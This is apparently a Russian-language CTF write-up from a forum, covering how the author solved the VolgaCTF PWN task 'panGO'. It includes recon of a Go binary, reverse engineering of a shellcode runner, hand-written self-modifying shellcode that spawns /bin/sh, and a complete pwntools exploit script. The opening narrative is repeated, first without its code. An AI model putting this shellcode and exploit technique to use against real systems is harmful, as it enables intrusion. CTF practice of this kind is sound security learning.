Ку, киберрекруты. На днях прошелы квалификацию на финал от VolgaCTF. Мне очень понравилось задание из категории PWN под названием panGO.
Описание к заданию:
Из описания очевидно, что исполняемый файл написан на языке Go.
Начнем
Первым делом проведем разведку бинаря.
Через команду file, можно удостовериться, что он и в самом деле написан на языке Go и имеет разрядность x64:
Дальше проверим на защиты используя checksec:
Отключена рандомизация адресов, нет канарейки и отключен RELRO. Это хорошо, потому что если нужно будет оформить ропчик, то долго потеть не придется. Проверим еще на упаковщик:
Результатов нет, поэтому живем. Последнее, что осталось, так это проверить на наличие функции, по тиму mmap(), потому что в описании сказано, что надо загрузить шеллкод. Для просмотра импорта функций юзану radare2. Запускаю его так:
Конечно же, оформляю анализ бинаря командой aaa и пишу команду afl результат такой:
Информацию о файле получил. Теперь, пожалуй, настало время запустить бинарь и поиграться с ним.
Первым делом, заметим хэдер меню - &{[0 0 0 0 0 0 0 0] [0 0 0]} . Первая мысль об этом - структура. Выберем, например, 1 и сможем выбрать какой-то footer и записать туда данные. Причем выбрать footer можно только в диапазоне от 0 до 2 включительно. Вкид такой, что это массив, причем скорее всего в структуре его второе место:
Теперь попробуем выбрать 2 пункт и ввести 8 букв A:
Последний шаг - запуск. Тут увидим крах проги:
Ну, настало время реверса.
Реверс
Буду использовать radare2 и edb.
Среди функций можно обнаружить самые интересные для нас:
Перейдем же к sym.main.main командой s sym.main.main; pdf и дальше наберем VV , чтобы удобнее было анализировать блоки.
Блок кода для функции footer():
Перейдем к ней, чтобы узнать адрес, куда записываются введеные данные. В самом конце выполнения функции, введеные данные где-то сохраняются в памяти и адрес передается регистру rcx, адрес этой инструкции - 0x0048f211:
Это нам понадобится для дальнейшей отладки. Теперь перейдем к функции sym.main.run_shellcode. Там нас инетересует выделение памяти, а точнее адрес этой памяти. Что происходит с наши вводом и скорее всего запуск шелла. При запуске функции сразу же выделяется память с правильными аргументами к фукнции, которая очень похожа на mmap():
Она выделяет память и делает ее RWX, а адрес памяти возвращается в регистр rax, поэтому тоже запомним адрес инструкции - 0x0048ef45. Судя по коду, он просто копирует данные со структуры в новую память. Однако, больше всего нас интересует последний блок:
Видим, call rax тут и вызывается наш шеллкод.
получили общее представление о бинаре. И что имеем:
Она в 9 позицию записывает инструкцию ret = 0xC3 , таким образом делает разграничение между массивом интов и шеллкодом. Это необходимо обойти, потому что размер шеллкода увеличится в размерах до 33 байт!!!
Идея такая: пишем самомодифицириющийся код:
Начну с написания шеллкода. Первая строка шеллкода будет инструкция которая меняет инструкцию RET:
,где 0xC4, будет являеться составной частью инструкции inc ah. Дальше, думаю, нет смысла описывать как писать шеллкод для получения RCE:
Теперь главное правильно записать скомпиленный шелл в интовый массив. Первые 8 байт от этого шеллкода обрежем и запишем в первую часть payload:
Потом парсим шеллкод и пишем в переменные, которые будет отправлять элементам массива:
Записываем их в массив:
И последняя часть, отправка первой части шеллкода:
Таким образом полный сплойт:
Теперь поробуем продебажить, используя EDB:
Сделаем точки останова на адресах:
В регистре теперь находится адрес памяти, куда записали часть шеллкода. Нажмем на F9 еще 2 раза и получим такой результат:
Следующее нажатие перенесет в интрукцию сразу же после mmap():
Перейдем по адресу, который находится в регистре rax:
По участкам памяти(Memory Regions) можно понять, что это память является RWX:
Дойдем до вызова шеллкода и просмотрим память:
Отлично! Весь шеллкод в новой RWX памяти. Теперь выполним инструкцию, которая перезаписывает 9 байт:
И сразу прыгаем в шеллкод:
Как можно увидеть, байт C3 нам попортил инструкцию inc ah, однако после первой инструкции байт перезапишется:
Доходим до syscall и получаем RCE:
Таск на самом деле прикольный, потому что:
Описание к заданию:
Из описания очевидно, что исполняемый файл написан на языке Go.
Начнем
Первым делом проведем разведку бинаря.
Через команду file, можно удостовериться, что он и в самом деле написан на языке Go и имеет разрядность x64:
Код:
$ file pongo
pongo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=Dz-Zak7yoXtjL4dI514X/d-dYG7rvd8sUmvrfmC_6/cUhYGDc4jTE6D_jWdyMj/uChabMmUmP_12iZKjc90, with debug_info, not stripped
Дальше проверим на защиты используя checksec:
Код:
$ pwn checksec pongo
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Отключена рандомизация адресов, нет канарейки и отключен RELRO. Это хорошо, потому что если нужно будет оформить ропчик, то долго потеть не придется. Проверим еще на упаковщик:
Код:
xxd pongo | grep UPX
Результатов нет, поэтому живем. Последнее, что осталось, так это проверить на наличие функции, по тиму mmap(), потому что в описании сказано, что надо загрузить шеллкод. Для просмотра импорта функций юзану radare2. Запускаю его так:
Код:
r2 -d ./pongo
Конечно же, оформляю анализ бинаря командой aaa и пишу команду afl результат такой:
Код:
...
0x0047ddc0 14 762 sym.syscall._mmapper_.Mmap
...
Информацию о файле получил. Теперь, пожалуй, настало время запустить бинарь и поиграться с ним.
Код:
./pongo
Код:
&{[0 0 0 0 0 0 0 0] [0 0 0]}
Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>>
Первым делом, заметим хэдер меню - &{[0 0 0 0 0 0 0 0] [0 0 0]} . Первая мысль об этом - структура. Выберем, например, 1 и сможем выбрать какой-то footer и записать туда данные. Причем выбрать footer можно только в диапазоне от 0 до 2 включительно. Вкид такой, что это массив, причем скорее всего в структуре его второе место:
Код:
&{[0 0 0 0 0 0 0 0] [0 0 0]}
Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>> 1
[INPUT] Choose position in footer (0-2): 0
[INPUT] Choose footer num: -1
Теперь попробуем выбрать 2 пункт и ввести 8 букв A:
Код:
Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>> 2
AAAAAAA
Последний шаг - запуск. Тут увидим крах проги:
Код:
Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>> 3
unexpected fault address 0x7f2fa52e9000
fatal error: fault
[signal SIGSEGV: segmentation violation code=0x2 addr=0x7f2fa52e9000 pc=0x7f2fa52e8fff]
...
Ну, настало время реверса.
Реверс
Буду использовать radare2 и edb.
Среди функций можно обнаружить самые интересные для нас:
Код:
0x0048ef00 15 303 sym.main.run_shellcode
0x0048f040 5 533 sym.main.set_footer
0x0048f260 13 811 sym.main.main
Перейдем же к sym.main.main командой s sym.main.main; pdf и дальше наберем VV , чтобы удобнее было анализировать блоки.
Блок кода для функции footer():
Перейдем к ней, чтобы узнать адрес, куда записываются введеные данные. В самом конце выполнения функции, введеные данные где-то сохраняются в памяти и адрес передается регистру rcx, адрес этой инструкции - 0x0048f211:
Это нам понадобится для дальнейшей отладки. Теперь перейдем к функции sym.main.run_shellcode. Там нас инетересует выделение памяти, а точнее адрес этой памяти. Что происходит с наши вводом и скорее всего запуск шелла. При запуске функции сразу же выделяется память с правильными аргументами к фукнции, которая очень похожа на mmap():
Она выделяет память и делает ее RWX, а адрес памяти возвращается в регистр rax, поэтому тоже запомним адрес инструкции - 0x0048ef45. Судя по коду, он просто копирует данные со структуры в новую память. Однако, больше всего нас интересует последний блок:
Видим, call rax тут и вызывается наш шеллкод.
получили общее представление о бинаре. И что имеем:
- Есть какой-то footer, который пока не понятно как юзануть
- Можно вполнить шеллкод и его размер должен быть ровно 8 байт
Код:
mov byte [rbx + rax], 0xc3
Она в 9 позицию записывает инструкцию ret = 0xC3 , таким образом делает разграничение между массивом интов и шеллкодом. Это необходимо обойти, потому что размер шеллкода увеличится в размерах до 33 байт!!!
Идея такая: пишем самомодифицириющийся код:
- Сначала меняем байт C3, на какой-нибудь полезный(да хоть на NOP = 0x90)
- Вместо чисел запишем части шеллкода
- Выполнем его
Начну с написания шеллкода. Первая строка шеллкода будет инструкция которая меняет инструкцию RET:
Makefile:
mov byte [rbx+8], 0xC4
Код:
BITS 64
section .text
global _start
_start:
mov byte [rbx+8], 0xc4
push 0x42
pop rax
inc ah
push rdx
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rsi
mov r8, rdx
mov r10, rdx
syscall
Теперь главное правильно записать скомпиленный шелл в интовый массив. Первые 8 байт от этого шеллкода обрежем и запишем в первую часть payload:
Python:
pl = b'\xc6\x43\x08\xc4'
plShell = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
pl += plShell[:4]
Потом парсим шеллкод и пишем в переменные, которые будет отправлять элементам массива:
Python:
num1 = u64(plShell[5:13])
num2 = u64(plShell[5+8:13+8])
num3 = u64(plShell[5+8+8:13+8+8])
Записываем их в массив:
Python:
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'0')
io.sendlineafter(b'num: ', str(num1).encode())
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'1')
io.sendlineafter(b'num: ', str(num2).encode())
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'2')
io.sendlineafter(b'num: ', str(num3).encode())
И последняя часть, отправка первой части шеллкода:
Код:
io.sendlineafter(b'[INPUT] >>> ', b'2')
io.sendline(pl)
io.sendlineafter(b'[INPUT] >>> ', b'3')
Таким образом полный сплойт:
Python:
from pwn import *
exe = context.binary = ELF('./pongo')
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.EDB:
return process(['edb','--run',exe.path])
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak *0x{exe.entry:x}
continue
'''.format(**locals())
io = start()
pl = b'\xc6\x43\x08\xc4'
plShell = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
pl += plShell[:4]
num1 = u64(plShell[5:13])
num2 = u64(plShell[5+8:13+8])
num3 = u64(plShell[5+8+8:13+8+8])
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'0')
io.sendlineafter(b'num: ', str(num1).encode())
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'1')
io.sendlineafter(b'num: ', str(num2).encode())
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'2')
io.sendlineafter(b'num: ', str(num3).encode())
io.sendlineafter(b'[INPUT] >>> ', b'2')
io.sendline(pl)
io.sendlineafter(b'[INPUT] >>> ', b'3')
io.interactive()
Теперь поробуем продебажить, используя EDB:
Код:
$ python sploit.py LOCAL DEBUG EDB
Сделаем точки останова на адресах:
- 0x0048ef45 - mmap
- 0x0048f211 - запись данных в массив
В регистре теперь находится адрес памяти, куда записали часть шеллкода. Нажмем на F9 еще 2 раза и получим такой результат:
Следующее нажатие перенесет в интрукцию сразу же после mmap():
Перейдем по адресу, который находится в регистре rax:
По участкам памяти(Memory Regions) можно понять, что это память является RWX:
Дойдем до вызова шеллкода и просмотрим память:
Отлично! Весь шеллкод в новой RWX памяти. Теперь выполним инструкцию, которая перезаписывает 9 байт:
И сразу прыгаем в шеллкод:
Как можно увидеть, байт C3 нам попортил инструкцию inc ah, однако после первой инструкции байт перезапишется:
Доходим до syscall и получаем RCE:
Код:
$ whoami
afanx
$
Таск на самом деле прикольный, потому что:
- ПыВН Go бинаря и в самом деле необычно
- Прикольная идея с самомодифицирующемся кодом
Последнее редактирование модератором: